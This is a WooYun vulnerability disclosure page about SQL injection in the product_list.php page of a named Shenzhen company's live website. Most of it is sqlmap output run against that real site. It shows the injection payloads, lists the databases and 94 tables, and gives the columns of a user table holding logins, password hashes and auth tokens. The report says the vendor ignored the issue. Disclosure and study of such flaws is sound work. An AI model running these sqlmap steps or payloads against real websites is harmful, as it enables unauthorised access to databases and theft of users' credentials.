当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105923

漏洞标题:OAXIS某页面存在SQL注入漏洞

相关厂商:绿洲奥思科技(深圳)有限公司

漏洞作者: 生鲜一手

提交时间:2015-04-07 18:48

修复时间:2015-05-22 18:50

公开时间:2015-05-22 18:50

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

产品列表中存在注入,用户账号密码泄露

详细说明:

http://www.oaxis.com/product_list.php?id=2

漏洞证明:

root@kali:~# sqlmap -u http://www.oaxis.com/product_list.php?id=2 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:20:42
[22:20:42] [INFO] resuming back-end DBMS 'mysql'
[22:20:52] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2 AND 5176=5176
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=2 UNION ALL SELECT CONCAT(0x71756b7471,0x787764694b4554635267,0x7166707071),NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=2 AND SLEEP(5)
---
[22:21:04] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.29
back-end DBMS: MySQL 5.0.11
[22:21:04] [INFO] fetching database names
available databases [2]:
[*] db109659_oaxis2
[*] information_schema
[22:21:04] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.oaxis.com'
[*] shutting down at 22:21:04
root@kali:~# sqlmap -u http://www.oaxis.com/product_list.php?id=2 -D db109659_oaxis2 --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:21:35
[22:21:36] [INFO] resuming back-end DBMS 'mysql'
[22:21:36] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2 AND 5176=5176
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=2 UNION ALL SELECT CONCAT(0x71756b7471,0x787764694b4554635267,0x7166707071),NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=2 AND SLEEP(5)
---
[22:21:37] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.29
back-end DBMS: MySQL 5.0.11
[22:21:37] [INFO] fetching tables for database: 'db109659_oaxis2'
Database: db109659_oaxis2
[94 tables]
+-------------------------------+
| piwik_access |
| piwik_archive_blob_2013_01 |
| piwik_archive_blob_2013_09 |
| piwik_archive_blob_2013_10 |
| piwik_archive_blob_2013_11 |
| piwik_archive_blob_2013_12 |
| piwik_archive_blob_2014_01 |
| piwik_archive_blob_2014_02 |
| piwik_archive_blob_2014_03 |
| piwik_archive_blob_2014_04 |
| piwik_archive_blob_2014_05 |
| piwik_archive_blob_2014_06 |
| piwik_archive_blob_2014_07 |
| piwik_archive_blob_2014_08 |
| piwik_archive_blob_2014_09 |
| piwik_archive_blob_2014_10 |
| piwik_archive_blob_2014_11 |
| piwik_archive_blob_2014_12 |
| piwik_archive_blob_2015_01 |
| piwik_archive_blob_2015_02 |
| piwik_archive_numeric_2013_01 |
| piwik_archive_numeric_2013_09 |
| piwik_archive_numeric_2013_10 |
| piwik_archive_numeric_2013_11 |
| piwik_archive_numeric_2013_12 |
| piwik_archive_numeric_2014_01 |
| piwik_archive_numeric_2014_02 |
| piwik_archive_numeric_2014_03 |
| piwik_archive_numeric_2014_04 |
| piwik_archive_numeric_2014_05 |
| piwik_archive_numeric_2014_06 |
| piwik_archive_numeric_2014_07 |
| piwik_archive_numeric_2014_08 |
| piwik_archive_numeric_2014_09 |
| piwik_archive_numeric_2014_10 |
| piwik_archive_numeric_2014_11 |
| piwik_archive_numeric_2014_12 |
| piwik_archive_numeric_2015_01 |
| piwik_archive_numeric_2015_02 |
| piwik_goal |
| piwik_log_action |
| piwik_log_conversion |
| piwik_log_conversion_item |
| piwik_log_link_visit_action |
| piwik_log_profiling |
| piwik_log_visit |
| piwik_logger_message |
| piwik_option |
| piwik_report |
| piwik_segment |
| piwik_sequence |
| piwik_session |
| piwik_site |
| piwik_site_url |
| piwik_user |
| piwik_user_dashboard |
| piwik_user_language |
| wsAccess |
| wsAddress |
| wsAgent |
| wsCart |
| wsCartDetail |
| wsCon |
| wsCon_en |
| wsContent |
| wsCouponCate |
| wsCouponDetail |
| wsCouponIf |
| wsCouponType |
| wsDeliver |
| wsDeliverDetail |
| wsDeliverParam |
| wsDeliverType |
| wsFlashInfo |
| wsGuestBook |
| wsLink |
| wsMarketCat |
| wsMarketCat_en |
| wsModify |
| wsModify_en |
| wsNews |
| wsNews_en |
| wsOtherBuy |
| wsProduct |
| wsProductCate |
| wsProductCate_en |
| wsProductFunction |
| wsProductFunction_en |
| wsProduct_en |
| wsRole |
| wsSetMeal |
| wsSysParam |
| wsUser |
| wsVip |
+-------------------------------+
[22:21:38] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.oaxis.com'
[*] shutting down at 22:21:38
root@kali:~# sqlmap -u http://www.oaxis.com/product_list.php?id=2 -D db109659_oaxis2 -T piwik_user --columns
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:22:40
[22:22:40] [INFO] resuming back-end DBMS 'mysql'
[22:22:40] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2 AND 5176=5176
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=2 UNION ALL SELECT CONCAT(0x71756b7471,0x787764694b4554635267,0x7166707071),NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=2 AND SLEEP(5)
---
[22:22:41] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.29
back-end DBMS: MySQL 5.0.11
[22:22:41] [INFO] fetching columns for table 'piwik_user' in database 'db109659_oaxis2'
Database: db109659_oaxis2
Table: piwik_user
[7 columns]
+------------------+---------------------+
| Column | Type |
+------------------+---------------------+
| alias | varchar(45) |
| date_registered | timestamp |
| email | varchar(100) |
| login | varchar(100) |
| password | char(32) |
| superuser_access | tinyint(2) unsigned |
| token_auth | char(32) |
+------------------+---------------------+
[22:22:41] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.oaxis.com'
[*] shutting down at 22:22:41

修复方案:

版权声明:转载请注明来源 生鲜一手@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝